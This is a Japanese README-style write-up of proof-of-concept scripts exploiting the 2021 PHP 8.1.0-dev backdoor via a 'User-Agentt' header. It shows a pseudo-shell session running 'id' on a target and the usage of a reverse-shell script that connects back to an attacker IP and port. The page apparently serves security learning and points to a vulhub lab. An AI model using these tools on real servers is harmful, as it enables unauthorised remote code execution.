PHP 8.1.0-dev バックドア リモートコード実行

PHP 8.1.0-dev バックドア システムシェルスクリプト

PHP 8.1.0-dev は 2021年3月28日にバックドア付きでリリースされましたが、そのバックドアはすぐに発見され削除されました。このバージョンの PHP がサーバー上で実行されている場合、攻撃者は User-Agentt ヘッダーを送信することで任意のコードを実行できます。

問題が発見された後、元のコードは復元されましたが、その後 2度目の改ざんを受けました。この侵害により、侵害されたバージョンの PHP を実行していたウェブサイトにはバックドアが作成され、ハッカーがサイト上でリモートコード実行を行える状態になっていたでしょう。

完全な記事を読む: https://flast101.github.io/php-8.1.0-dev-backdoor-rce/

POC スクリプト

この短いエクスプロイトスクリプト backdoor_php_8.1.0-dev.py は、バックドアを使用してホスト上に疑似システムシェルを提供します。Exploit DB にも掲載されています。

• エクスプロイトタイトル: PHP 8.1.0-dev バックドア リモートコード実行
• 日付: 2021年5月23日
• エクスプロイト作者: flast101
• ベンダーホームページ: https://www.php.net/
• ソフトウェアリンク: https://github.com/vulhub/vulhub/tree/master/php/8.1-backdoor
• テスト済みバージョン: 8.1.0-dev
• CVE : N/A
• 脆弱性参照:
  https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a
  https://github.com/vulhub/vulhub/blob/master/php/8.1-backdoor/README.zh-cn.md

使用方法:

┌──(user㉿kali)-[~/Documents]
└─$ python3 backdoor_php_8.1.0-dev.py
  
Enter the host url:
http://a.b.c.d

Interactive shell is opened on http://a.b.c.d 
Can't acces tty; job crontol turned off.
$ id
uid=1000(user) gid=1000(user) groups=1000(user)

リバースシェル

この短いエクスプロイトスクリプト revshell_php_8.1.0-dev.py は、ターゲット上でリバースシェルを提供します。

使用方法:

┌──(user㉿kali)-[~/Documents]
└─$ python3 revshell_php_8.1.0-dev.py <target URL> <attacker IP> <attacker PORT>

好奇心を持ちなさい、学びは人生です！ 😃